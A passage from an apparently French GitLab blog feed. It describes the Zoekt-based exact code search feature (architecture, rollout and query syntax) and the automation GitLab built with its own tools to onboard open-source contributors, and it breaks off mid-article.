<p>Les <strong>trigrammes positionnels de Zoekt</strong>, quant à eux, conservent les séquences de caractères exactes ainsi que leurs positions dans le code. Ainsi, lorsque vous recherchez <code>getUserId()</code>, Zoekt cible précisément les trigrammes exacts, comme <strong>get</strong>, <strong>etU</strong>, <strong>tUs</strong>, <strong>Use</strong>, <strong>ser</strong>, <strong>erI</strong>, <strong>rId</strong>, <strong>Id(&quot;, &quot;d()</strong>, dans cette séquence précise et à ces positions exactes. Cette approche garantit que seules les correspondances exactes sont renvoyées.</p>
<p>Ainsi, des recherches qui renvoyaient auparavant des centaines de faux positifs ne renvoient désormais plus que les correspondances exactes souhaitées. Cette fonctionnalité était <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/325234">l'une des plus demandées</a> pour une bonne raison : les équipes de développement perdaient beaucoup trop de temps à passer au crible les faux positifs.</p>
<h3>Performances des expressions régulières à grande échelle</h3>
<p>Zoekt excelle dans la recherche de correspondances exactes, mais est également optimisé pour les recherches d'expressions régulières. Grâce à des algorithmes sophistiqués, il convertit les motifs regex en requêtes trigrammes efficaces lorsque cela est possible, garantissant ainsi une rapidité constante, même pour les recherches de motifs complexes portant sur plusieurs téraoctets de code.</p>
<h2>Une fonctionnalité adaptée aux entreprises</h2>
<p>La recherche exacte de code est puissante et conçue pour gérer de très grands volumes de code tout en offrant des temps de réponse remarquables. Il ne s'agit pas du simple ajout d'une nouvelle fonctionnalité à l'interface utilisateur, mais d'une architecture backend entièrement repensée.</p>
<h3>Gestion de plusieurs téraoctets de code en toute simplicité</h3>
<p>Rien que sur GitLab.com, notre infrastructure de recherche exacte de code indexe et interroge plus de <strong>48 To</strong> de données de code, tout en offrant des temps de réponse ultra-rapides. Cette volumétrie couvre des millions de dépôts répartis dans des milliers d'espaces de nommage, tous consultables en seulement quelques millisecondes, soit plus de code que l'ensemble des projets du noyau Linux, d'Android et de Chromium combinés. Et pourtant, la recherche exacte de code peut trouver une ligne spécifique dans l'ensemble du code source en quelques millisecondes seulement.</p>
<h3>Architecture de nœuds à enregistrement automatique</h3>
<p>Parmi nos améliorations techniques, voici quelques innovations clés :</p>
<ul>
<li>
<p><strong>Enregistrement automatique des nœuds :</strong> les nœuds Zoekt s'enregistrent automatiquement auprès de GitLab.</p>
</li>
<li>
<p><strong>Attribution dynamique des partitions :</strong> le système attribue automatiquement les espaces de nommage entre les nœuds.</p>
</li>
<li>
<p><strong>Surveillance de l'état :</strong> les nœuds qui ne s'enregistrent pas sont automatiquement signalés comme hors ligne.</p>
</li>
</ul>
<p>Cette architecture à configuration automatique simplifie considérablement la montée en charge. Lorsque la capacité doit être augmentée, les administrateurs peuvent tout simplement ajouter de nouveaux nœuds, sans aucune reconfiguration complexe.</p>
<h3>Système distribué avec répartition de charge intelligente</h3>
<p>En arrière-plan, la recherche exacte de code repose sur un système distribué comprenant les composants clés suivants :</p>
<ul>
<li>
<p><strong>Nœuds de recherche spécialisés :</strong> serveurs dédiés pour gérer l'indexation et la recherche</p>
</li>
<li>
<p><strong>Partitionnement intelligent :</strong> le code est réparti entre les nœuds en fonction des espaces de nommage</p>
</li>
<li>
<p><strong>Équilibrage automatique de la charge :</strong> le système répartit intelligemment le travail en fonction des capacités disponibles</p>
</li>
<li>
<p><strong>Haute disponibilité :</strong> plusieurs réplicas assurent la continuité du service même en cas de défaillance d'un nœud</p>
</li>
</ul>
<p><em>Remarque : la haute disponibilité fait partie intégrante de l'architecture, mais n'est pas encore entièrement déployée. Consultez le <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/514736">ticket 514736</a> pour vous tenir au courant des futures mises à jour.</em></p>
<h3>Intégration sans accroc de la sécurité</h3>
<p>La recherche exacte de code s'intègre automatiquement au système d'autorisation de GitLab :</p>
<ul>
<li>
<p>Les résultats de recherche sont filtrés en fonction des droits d'accès de chaque utilisateur.</p>
</li>
<li>
<p>Seul le code des projets auxquels l'utilisateur a accès est affiché.</p>
</li>
<li>
<p>La sécurité est intégrée à l'architecture de base, et non ajoutée ultérieurement.</p>
</li>
</ul>
<h3>Performances optimisées</h3>
<ul>
<li>
<p><strong>Indexation performante :</strong> les dépôts volumineux sont indexés en quelques dizaines de secondes.</p>
</li>
<li>
<p><strong>Exécution rapide des requêtes :</strong> la plupart des recherches renvoient des résultats en moins d'une seconde.</p>
</li>
<li>
<p><strong>Résultats en streaming :</strong> la nouvelle recherche fédérée basée sur gRPC diffuse les résultats au fur et à mesure de leur découverte.</p>
</li>
<li>
<p><strong>Arrêt anticipé :</strong> dès qu'un nombre suffisant de résultats a été collecté, le système interrompt la recherche.</p>
</li>
</ul>
<h2>De la bibliothèque au système distribué : notre réponse aux défis d'ingénierie</h2>
<p>Bien que Zoekt soit très performant pour indexer et rechercher du code localement, son architecture de base était conçue à l'origine comme une bibliothèque minimale, destinée à la gestion des fichiers d'index <code>.zoekt</code>, et non comme une base de données distribuée ou un service capable de fonctionner à l'échelle d'une entreprise.</p>
<p>Voici les principaux défis techniques que nous avons dû surmonter pour l'adapter pleinement à l'écosystème GitLab.</p>
<h3>Défi 1 : création d'une couche d'orchestration</h3>
<p><strong>Le problème :</strong> Zoekt a été conçu pour fonctionner avec des fichiers d'index locaux, et non pour être distribué sur plusieurs nœuds desservant de nombreux utilisateurs simultanés.</p>
<p><strong>Notre solution :</strong> nous avons développé une couche d'orchestration complète qui :</p>
<ul>
<li>
<p>crée et gère des modèles de base de données pour suivre les nœuds, les index, les dépôts et les tâches.</p>
</li>
<li>
<p>met en œuvre une architecture de nœuds à enregistrement automatique (inspirée du fonctionnement de GitLab Runner).</p>
</li>
<li>
<p>gère l'attribution automatique des partitions et l'équilibrage de la charge entre les nœuds.</p>
</li>
<li>
<p>fournit une communication bidirectionnelle de l'API entre les nœuds GitLab Rails et Zoekt.</p>
</li>
</ul>
<h3>Défi 2 : mise à l'échelle du stockage et de l'indexation</h3>
<p><strong>Le problème :</strong> comment gérer efficacement des téraoctets de données d'indexation répartis sur plusieurs nœuds tout en garantissant des mises à jour rapides ?</p>
<p><strong>Notre solution :</strong> nous avons déployé les fonctionnalités suivantes  :</p>
<ul>
<li>
<p>Partitionnement intelligent : les espaces de nommage sont répartis entre les nœuds en tenant compte de leur capacité et de leur charge.</p>
</li>
<li>
<p>Réplication indépendante : chaque nœud est indexé indépendamment à partir de <a href="https://gitlab.com/gitlab-org/gitaly">Gitaly</a> (notre service de stockage Git), évitant ainsi toute synchronisation complexe.</p>
</li>
<li>
<p>Gestion avancée des filigranes : un système sophistiqué d'allocation de stockage empêche les nœuds de manquer d'espace.</p>
</li>
<li>
<p>Architecture binaire unifiée : un seul binaire <code>gitlab-zoekt</code> peut fonctionner à la fois en mode indexeur et en mode serveur web.</p>
</li>
</ul>
<h3>Défi 3 : intégration des autorisations</h3>
<p><strong>Le problème :</strong> Zoekt n'avait aucune notion du système d'autorisation complexe de GitLab. Les utilisateurs ne doivent voir que les résultats des projets auxquels ils ont accès.</p>
<p><strong>Notre solution :</strong> nous avons intégré un filtrage des autorisations natif directement dans le flux de recherche :</p>
<ul>
<li>
<p>Les requêtes de recherche incluent le contexte des autorisations de l'utilisateur.</p>
</li>
<li>
<p>Les résultats sont filtrés pour n’inclure que les éléments auxquels l'utilisateur peut accéder, même dans le cas où les autorisations évoluent avant la fin de l'indexation.</p>
</li>
</ul>
<h3>Défi 4 : simplification opérationnelle</h3>
<p><strong>Le problème :</strong> gérer un système de recherche distribué ne devrait pas nécessiter une équipe dédiée.</p>
<p><strong>Notre solution :</strong></p>
<ul>
<li>
<p>Mise à l'échelle automatique : l'ajout de capacité est aussi simple que le déploiement de nœuds supplémentaires. Ces derniers s'enregistrent automatiquement et gèrent immédiatement la charge de travail.</p>
</li>
<li>
<p>Auto-réparation : les nœuds qui ne s'enregistrent pas sont automatiquement signalés comme hors ligne, avec redistribution automatique de leurs tâches.</p>
</li>
<li>
<p>Partitionnement sans configuration : le système détermine automatiquement les affectations de partitions optimales.</p>
</li>
</ul>
<h2>Déploiement progressif : réduire les risques à grande échelle</h2>
<p>Le déploiement d'un tout nouveau backend de recherche auprès de millions d'utilisateurs a nécessité une planification minutieuse. Voici comment nous avons limité l'impact sur les clients tout en garantissant la fiabilité :</p>
<h3>Phase 1 : tests contrôlés (groupe gitlab-org)</h3>
<p>Nous avons commencé par activer la recherche exacte de code uniquement pour le groupe <code>gitlab-org</code>, constitué de nos propres dépôts internes.</p>
<p>Cette étape nous a permis de :</p>
<ul>
<li>
<p>Tester le système avec des charges de travail réelles en production</p>
</li>
<li>
<p>Identifier et corriger les goulots d'étranglement liés aux performances</p>
</li>
<li>
<p>Rationaliser le processus de déploiement</p>
</li>
<li>
<p>Tirer des enseignements concrets sur les workflows grâce aux retours d'utilisateurs</p>
</li>
</ul>
<h3>Phase 2 : validation et optimisation des performances</h3>
<p>Avant d'étendre la fonctionnalité, nous nous sommes assurés que le système pouvait gérer la charge à l'échelle de GitLab.com. Pour cela, nous avons dû :</p>
<ul>
<li>
<p>Mettre en œuvre une surveillance et une gestion des alertes complètes</p>
</li>
<li>
<p>Valider la gestion du stockage basée sur la croissance réelle des données en production</p>
</li>
</ul>
<h3>Phase 3 : expansion progressive auprès des clients</h3>
<p>Nous avons progressivement ouvert l'accès à la recherche exacte de code aux clients désireux de l'essayer, afin de :</p>
<ul>
<li>
<p>Collecter leurs retours sur les performances et l'expérience utilisateur</p>
</li>
<li>
<p>Affiner l'interface utilisateur de recherche en fonction des workflows réels des utilisateurs</p>
</li>
<li>
<p>Optimiser les performances d'indexation (par exemple, les grands dépôts comme <code>gitlab-org/gitlab</code> sont désormais indexés en environ 10 secondes)</p>
</li>
<li>
<p>Ajuster l'architecture en fonction des leçons tirées des premiers essais</p>
</li>
<li>
<p>Augmenter massivement le débit d'indexation et améliorer le cycle de vie des transitions d'état</p>
</li>
</ul>
<h3>Phase 4 : déploiement à grande échelle</h3>
<p>Aujourd'hui, plus de 99 % des groupes disposant des licences Premium et Ultimate sur GitLab.com ont accès à la recherche exacte de code.</p>
<p>Les utilisateurs peuvent :</p>
<ul>
<li>
<p>Basculer facilement entre les modes de recherche par expression régulière et par correspondance exacte</p>
</li>
<li>
<p>Tirer parti des avantages sans modifier la configuration</p>
</li>
<li>
<p>Revenir à l'ancienne méthode de recherche si nécessaire (bien que peu d'entre eux optent pour cette possibilité)</p>
</li>
</ul>
<p>Ce déploiement progressif a permis d'éviter toute interruption de service, baisse de performances ou perte de fonctionnalités pendant la transition. Les premiers retours sont très positifs, car les utilisateurs constatent que leurs résultats de recherche sont plus pertinents et qu'ils les obtiennent beaucoup plus rapidement.</p>
<blockquote>
<p>Vous souhaitez en savoir plus sur l'architecture et la mise en œuvre de la recherche exacte de code ? Consultez notre <a href="https://handbook.gitlab.com/handbook/engineering/architecture/design-documents/code_search_with_zoekt/">document de conception</a> complet, qui offre une description technique détaillée de ce système de recherche distribué.</p>
</blockquote>
<h2>Premiers pas : comment lancer une recherche exacte de code ?</h2>
<p>La prise en main de la recherche exacte de code est simple, car cette fonctionnalité est déjà activée par défaut pour les groupes Premium et Ultimate sur GitLab.com (accessibles aujourd'hui à plus de 99 % des groupes éligibles).</p>
<h3>Guide de démarrage rapide</h3>
<ol>
<li>
<p>Accédez à la recherche avancée depuis votre projet ou groupe GitLab.</p>
</li>
<li>
<p>Saisissez votre terme de recherche dans l'onglet Code.</p>
</li>
<li>
<p>Basculez entre les modes de recherche par correspondance exacte et par expression régulière.</p>
</li>
<li>
<p>Utilisez des filtres pour affiner votre recherche.</p>
</li>
</ol>
<h3>Syntaxe de recherche de base</h3>
<p>Que vous utilisiez le mode de recherche par correspondance exacte ou par expression régulière, vous pouvez affiner votre recherche avec divers modificateurs :</p>
<p>| Exemple de requête | Fonction                                                               |</p>
<p>| ------------------ | ---------------------------------------------------------------------- |</p>
<p>| <code>file:js</code>          | Recherche uniquement dans les fichiers dont le nom contient « js »     |</p>
<p>| <code>foo -bar</code>         | Recherche « foo », mais exclut les résultats contenant « bar »         |</p>
<p>| <code>lang:ruby</code>        | Recherche uniquement dans les fichiers Ruby                            |</p>
<p>| <code>sym:process</code>      | Recherche « process » dans les symboles (méthodes, classes, variables) |</p>
<blockquote>
<p><strong>Conseil :</strong> pour optimiser votre recherche, commencez par une requête précise, puis élargissez-la si besoin. L'utilisation des filtres <code>file:</code> et <code>lang:</code> augmente considérablement la pertinence des résultats.</p>
</blockquote>
<h3>Techniques de recherche avancées</h3>
<p>Combinez plusieurs filtres pour gagner en précision :</p>
<pre><code>
is_expected file:rb -file:spec

</code></pre>
<p>Cette requête recherche « is_expected » dans les fichiers Ruby dont le nom ne contient pas « spec ».</p>
<p>Tirez parti des expressions régulières pour obtenir des motifs puissants :</p>
<pre><code>
token.*=.*[\&quot;']

</code></pre>
<p><a href="https://gitlab.com/search?search=token.*%3D.*%5B%5C%22'%5D&amp;nav_source=navbar&amp;project_id=46649240&amp;group_id=9970&amp;search_code=true&amp;repository_ref=main&amp;regex=true">Consultez cette recherche effectuée dans le dépôt GitLab Zoekt.</a></p>
<p>Elle permet de trouver des mots de passe codés en dur qui, s'ils ne sont pas détectés, peuvent constituer un risque de sécurité.</p>
<p>Pour approfondir la syntaxe, consultez la <a href="https://docs.gitlab.com/user/search/exact_code_search/#syntax">documentation dédiée à la recherche exacte de code</a>.</p>
<h2>Disponibilité et déploiement</h2>
<h3>Disponibilité actuelle</h3>
<p>La recherche exacte de code est actuellement disponible en version bêta pour les utilisateurs de GitLab.com disposant de licences Premium et Ultimate :</p>
<ul>
<li>
<p>Elle est accessible à plus de 99 % des groupes éligibles sous licence.</p>
</li>
<li>
<p>La recherche dans l'interface utilisateur utilise automatiquement Zoekt lorsqu'il est disponible ; la recherche exacte de code via l'API de recherche est activée par le biais d'un feature flag.</p>
</li>
</ul>
<h3>Options de déploiement pour les instances Self-Managed</h3>
<p>Pour les instances Self-Managed, nous proposons plusieurs méthodes de déploiement :</p>
<ul>
<li>
<p>Kubernetes/Helm : notre méthode la mieux prise en charge, basée sur notre <a href="https://gitlab.com/gitlab-org/cloud-native/charts/gitlab-zoekt">Helm Chart <code>gitlab-zoekt</code></a>.</p>
</li>
<li>
<p>Autres méthodes : nous travaillons actuellement sur la simplification du déploiement via Omnibus et d'autres options d'installation.</p>
</li>
</ul>
<p>Les exigences en configuration système varient selon la taille de votre code source, mais l'architecture est conçue pour s'adapter horizontalement et/ou verticalement à mesure que vos besoins évoluent.</p>
<h2>Prochaines étapes</h2>
<p>Bien que la recherche exacte de code soit déjà performante, nous l'améliorons continuellement avec :</p>
<ul>
<li>
<p><strong>Des optimisations à grande échelle</strong> pour gérer des instances comptant des centaines de milliers de dépôts</p>
</li>
<li>
<p><strong>Des options de déploiement renforcées pour les instances Self-Managed</strong>, y compris la prise en charge simplifiée d'Omnibus</p>
</li>
<li>
<p><strong>Une prise en charge complète de la haute disponibilité</strong> avec basculement automatique et équilibrage de la charge</p>
</li>
</ul>
<p>Restez à l'écoute pour suivre les prochaines mises à jour lorsque nous passerons de la version bêta à la disponibilité générale.</p>
<h2>Transformez votre façon de rechercher des lignes de code</h2>
<p>Avec la recherche exacte de code, GitLab repense en profondeur la manière dont le code est exploré, en fournissant des correspondances exactes, une prise en charge avancée des expressions régulières et des résultats contextuels.</p>
<p>Cette nouvelle fonctionnalité résout les aspects les plus frustrants de la recherche de code :</p>
<ul>
<li>
<p>Ne perdez plus votre temps avec des résultats non pertinents.</p>
</li>
<li>
<p>Ne ratez plus aucune correspondance importante.</p>
</li>
<li>
<p>N'ouvrez plus plusieurs fichiers juste pour comprendre le contexte de base.</p>
</li>
<li>
<p>Ne subissez plus de problèmes de performances à mesure que la taille de vos dépôts de code augmente.</p>
</li>
</ul>
<p>L'impact s'étend même bien au-delà, à la productivité globale des équipes :</p>
<ul>
<li>
<p><strong>Vos équipes collaborent plus efficacement</strong> avec un référencement clair du code.</p>
</li>
<li>
<p><strong>Le partage des connaissances s'accélère</strong> avec la détection facile des motifs.</p>
</li>
<li>
<p><strong>L'intégration des nouveaux membres d'équipe s'accélère</strong> avec une compréhension rapide du code source.</p>
</li>
<li>
<p><strong>La sécurité est renforcée</strong> avec un audit efficace des motifs.</p>
</li>
<li>
<p><strong>Une réduction de la dette technique</strong> devient réellement envisageable.</p>
</li>
</ul>
<p>La recherche exacte de code est plus qu'une simple fonctionnalité : elle vous permet de mieux comprendre et de gérer le code. Alors, arrêtez de chercher et commencez à trouver !</p>
<p><strong>Nous serions ravis de connaître votre avis.</strong> Partagez vos expériences, vos questions ou vos commentaires sur la recherche exacte de code dans notre <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/420920">ticket dédié aux retours d'expérience</a>. Vos retours nous aident à hiérarchiser nos priorités d'améliorations et à enrichir nos futures fonctionnalités.</p>
<h4>Vous souhaitez tirer parti d'une recherche de code plus intelligente ? Pour en savoir plus, consultez notre <a href="https://docs.gitlab.com/ee/user/search/exact_code_search.html">documentation</a> et essayez dès aujourd'hui notre nouvelle fonctionnalité en effectuant une recherche dans vos espaces de nommage ou vos projets disposant d'une licence Premium ou Ultimate. Vous n'utilisez pas encore GitLab ? Inscrivez-vous pour un <a href="https://about.gitlab.com/fr-fr/free-trial/?hosted=saas">essai gratuit de GitLab Ultimate enrichi des capacités de GitLab Duo</a> !</h4>
]]></content>
        <author>
            <name>Dmitry Gruzd</name>
            <uri>https://about.gitlab.com/blog/authors/dmitry-gruzd</uri>
        </author>
        <published>2025-07-23T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Comment nous utilisons GitLab pour développer les communautés open source]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/how-we-use-gitlab-to-grow-open-source-communities/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/how-we-use-gitlab-to-grow-open-source-communities/"/>
        <updated>2025-07-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'équipe Contributor Success de GitLab faisait face au défi suivant : alors
que nos contributeurs open source récurrents fusionnaient davantage de
modifications de code et collaboraient sur des fonctionnalités avancées, les
contributeurs novices, quant à eux, avaient du mal à se lancer. Nous étions
conscients que beaucoup de nouveaux contributeurs open source finissaient
par abandonner sans même demander de l'aide. Attachés à la <a href="https://handbook.gitlab.com/handbook/company/mission/">mission de
GitLab</a> où chacun
peut contribuer, nous aspirions à inverser cette tendance.</p>
<p>Nous avons commencé à effectuer des recherches sur les contributeurs open source de GitLab. Puis nous avons amélioré les obstacles majeurs. En janvier, nous avons atteint un record de 184 contributeurs communautaires uniques à GitLab en un seul mois, dépassant pour la première fois notre objectif de 170 fixé par l'équipe.</p>
<p>Trois mois plus tard, nous l'avons de nouveau battu avec 192 contributeurs.</p>
<p>Voici comment nous avons utilisé les propres outils de GitLab pour résoudre le dilemme des nouveaux contributeurs et développer notre communauté <a href="https://about.gitlab.com/fr-fr/blog/what-is-open-source/" title="Qu'est-ce que l'open source ?">open source</a>.</p>
<h2>Ce que nous avons appris sur les nouveaux contributeurs</h2>
<p>En 2023, nous avons mené la toute première étude sur les contributeurs open source de GitLab. Nous avons observé six participants qui n'avaient jamais contribué à GitLab.</p>
<p>Voici ce qu’ils nous ont dit :</p>
<ul>
<li>
<p>La documentation destinée aux contributeurs était confuse</p>
</li>
<li>
<p>La prise en main était difficile</p>
</li>
<li>
<p>Trouver de l’aide n'était pas clair</p>
</li>
</ul>
<p>Seul un participant sur six a réussi à fusionner une contribution de code dans GitLab au cours de l'étude.</p>
<p>Il est devenu évident que nous devions nous concentrer sur l'expérience d'intégration si nous voulions que les nouveaux contributeurs réussissent à faire leurs premiers pas sur GitLab. Nous avons donc <a href="https://handbook.gitlab.com/handbook/values/#iteration">itéré</a> !</p>
<p>Notre équipe a passé l'année suivante à résoudre leurs défis. Nous avons utilisé les outils de GitLab, tels que les templates de tickets, les pipelines programmés, les webhooks et le GitLab Query Language (GLQL), pour construire une solution d'intégration innovante et semi-automatisée.</p>
<p>En 2025, nous avons effectué une étude de suivi des utilisateurs avec de nouveaux participants qui n'avaient jamais contribué à GitLab. Les 10 participants ont tous créé et fusionné avec succès des contributions dans GitLab, avec un taux de réussite de 100 %. Les retours ont montré une grande appréciation pour le nouveau processus d'intégration, la rapidité avec laquelle les chargés de maintenance vérifiaient le travail des contributeurs, et la reconnaissance que nous offrions aux contributeurs.</p>
<h2>Création d’une intégration personnalisée</h2>
<p>Notre solution a commencé par l'engagement. Pour aider les nouveaux contributeurs à se lancer, nous avons mis en place un processus d'intégration personnalisé connectant chaque contributeur avec un chargé de maintenance communautaire.</p>
<p>Nous avons créé un <a href="https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md">template de ticket </a>avec une liste claire de tâches.</p>
<p>Le ticket d'intégration gère également l'approbation d'accès aux <a href="https://about.gitlab.com/blog/gitlab-community-forks/">forks de la communauté de GitLab</a>, une collection de projets partagés qui facilitent le push de modifications, la collaboration entre contributeurs, et l'accès aux fonctionnalités GitLab Ultimate et GitLab Duo.</p>
<p>En utilisant des <a href="https://docs.gitlab.com/user/project/labels/#scoped-labels">labels à portée limitée</a>, nous indiquons le statut de la demande d'accès pour faciliter le suivi par les chargés de maintenance.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png" alt="Ticket d'intégration GitLab"></p>
<p>Nous avons commencé avec un script Ruby exécuté via un pipeline programmé, vérifiant les nouvelles demandes d'accès et utilisant le template de ticket pour créer des tickets d'intégration personnalisés.</p>
<p>À partir de là, nos chargés de maintenance collaborent avec les nouveaux contributeurs pour vérifier l'accès, répondre aux questions et trouver des tickets.</p>
<h2>Standardisation des réponses avec des templates de commentaires</h2>
<p>Avec plusieurs chargés de maintenance dans la communauté de GitLab, nous voulions assurer une communication cohérente et claire.</p>
<p>Nous avons créé des <a href="https://docs.gitlab.com/user/profile/comment_templates/">templates de commentaires</a>, que nous synchronisons avec le dépôt en utilisant l'API GraphQL et un <a href="https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb">script Ruby</a>.</p>
<p>Le script est déclenché dans le fichier <code>.gitlab-ci.yml</code> lorsque des modifications de templates de commentaires sont apportées avec un push vers la branche par défaut (un test est déclenché dans les merge requests).</p>
<pre><code class="language-yaml">
execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == &quot;trigger&quot;
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png" alt="Template de commentaire dans GitLab"></p>
<h2>Suppression du temps d'attente de 5 minutes</h2>
<p>Notre première itération était un peu lente. Après avoir commencé le processus d'intégration, les contributeurs se demandaient ce qu’il fallait faire ensuite, tandis que le pipeline programmé prenait jusqu'à 5 minutes pour créer leur ticket d'intégration.</p>
<p><a href="https://gitlab.com/Taucher2003">Niklas</a>, un membre de notre <a href="https://about.gitlab.com/community/core-team/">équipe Core</a>, a trouvé une solution. Il a ajouté des <a href="https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094">événements webhook pour les demandes d'accès</a> et des <a href="https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738">templates de charge utile personnalisés pour les webhooks</a>.</p>
<p>Ces fonctionnalités combinées nous ont permis de déclencher un pipeline immédiatement. Cela réduit le temps à environ 40 secondes (le temps qu'il faut au pipeline CI pour s'exécuter) et génère le ticket d'intégration immédiatement. Cette action économise également des milliers de pipelines et de minutes de calcul lorsqu’aucune demande d'accès n’a besoin d'être traitée.</p>
<p>Nous avons configuré un <a href="https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token">token de déclenchement de pipeline</a> et l'avons utilisé comme cible pour le webhook, en passant les variables d'environnement souhaitées :</p>
<pre><code class="language-json">
{
  &quot;ref&quot;: &quot;main&quot;,
  &quot;variables&quot;: {
    &quot;EXECUTE_ACCESS_REQUESTS&quot;: &quot;1&quot;,
    &quot;DRY_RUN&quot;: &quot;0&quot;,
    &quot;PIPELINE_NAME&quot;: &quot;Create onboarding issues&quot;,
    &quot;GROUP_ID&quot;: &quot;{{group_id}}&quot;,
    &quot;EVENT_NAME&quot;: &quot;{{event_name}}&quot;
  }
}

</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png" alt="Liste de pipelines"></p>
<h2>Automatisation des suivis</h2>
<p>Avec un volume croissant de clients et de contributeurs à la communauté GitLab, les chargés de maintenance avaient du mal à suivre les tickets qui nécessitaient une attention particulière et certaines questions de suivi se perdaient.</p>
<p>Nous avons mis en œuvre une automatisation utilisant les webhooks et Ruby pour labeliser les tickets mis à jour par les membres de la communauté. Cela crée un signal clair du statut du ticket pour les chargés de maintenance.</p>
<p><a href="https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage">GitLab Triage</a> relance automatiquement les tickets d'intégration inactifs afin de maintenir cette dynamique.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png" alt="Relance automatisée des tickets d'intégration inactif dans GitLab "></p>
<h2>Organisation du suivi des tickets avec GLQL</h2>
<p>Nous avons construit une <a href="https://docs.gitlab.com/user/glql/">vue GitLab Query Language (GLQL)</a> pour garder une trace de l'ensemble des tickets. Ce tableau GLQL recense les tickets d'intégration qui nécessitent une attention particulière, permettant aux chargés de maintenance de les examiner et de les suivre avec les membres de la communauté.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png" alt="Vue GLQL du suivi des tickets"></p>
<p>Ces vues GLQL ont amélioré notre efficacité globale de classement. Le succès a été tel que nous avons fini par utiliser cette stratégie dans les programmes <a href="https://about.gitlab.com/fr-fr/solutions/open-source/">GitLab pour l’open source</a> et <a href="https://about.gitlab.com/fr-fr/solutions/education/">GitLab pour l'éducation</a>. Avec les tableaux GLQL pour les tickets d’assistance, ces programmes communautaires ont réduit leurs temps de réponse de 75 %.</p>
<h2>Meilleure accessibilité du README</h2>
<p>Le <a href="https://gitlab.com/gitlab-community/">groupe @gitlab-community</a> est l’espace dédié aux contributeurs sur Gitlab.com. Nous avions déjà un fichier <code>README.md</code> expliquant les forks de la communauté et le processus d'intégration, mais ce fichier vivait dans un projet meta. Avec notre étude de suivi des utilisateurs, nous avons découvert que cette séparation désorientait les nouveaux contributeurs quand leurs tickets d'intégration se trouvaient dans un projet différent.</p>
<p>Nous avons alors utilisé la <a href="https://docs.gitlab.com/user/project/repository/mirror/">mise en miroir de projet de GitLab</a> pour résoudre cela et mis en miroir le projet meta vers <code>gitlab-profile</code>. Cela a fait remonter le fichier README existant au niveau du groupe, le rendant plus facile d'accès.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png" alt="Mise en miroir de projet GitLab"></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png" alt="README de groupe"></p>
<h2>Les résultats parlent d'eux-mêmes</h2>
<p>En utilisant GitLab nous-mêmes, nous avons amélioré les points de friction identifiés dans nos études et transformé le parcours des contributeurs de GitLab. Nous avons augmenté le nombre de clients et de membres de la communauté contribuant à GitLab, ajoutant des fonctionnalités au produit, résolvant des bogues, et enrichissant notre catalogue <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/" title="Qu'est-ce que le CI/CD?">CI/CD</a>.</p>
<p>Notre processus d'intégration a augmenté le taux d'adhésion des nouveaux contributeurs au sein de notre communauté, et le nombre total de contributeurs sur les forks de la communauté a doublé au cours des 9 derniers mois.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png" alt="Graphique de croissance des forks de la communauté"></p>
<p>Nous avons réduit le temps nécessaire aux nouveaux contributeurs pour apporter leur première contribution en les connectant plus rapidement avec les chargés de maintenance et en les aidant à démarrer.</p>
<p>Nous utilisons l’<a href="https://docs.gitlab.com/user/group/value_stream_analytics/">analyse de la chaîne de valeur</a> de GitLab pour suivre nos taux de réponse.</p>
<ul>
<li>
<p>Le délai avant première réponse des chargés de maintenance de la communauté est descendu à 46 minutes au cours des 3 derniers mois</p>
</li>
<li>
<p>Le temps d'approbation moyen pour l'accès aux forks de la communauté est descendu à 1 heure au cours des 3 derniers mois</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png" alt="Chronologie de l’analyse de la chaîne de valeur"></p>
<p>Le taux de réussite de 100 % de notre étude de suivi des utilisateurs de 2025 a confirmé ces améliorations pour nos contributeurs novices.</p>
<h2>Meilleure reconnaissance des contributeurs</h2>
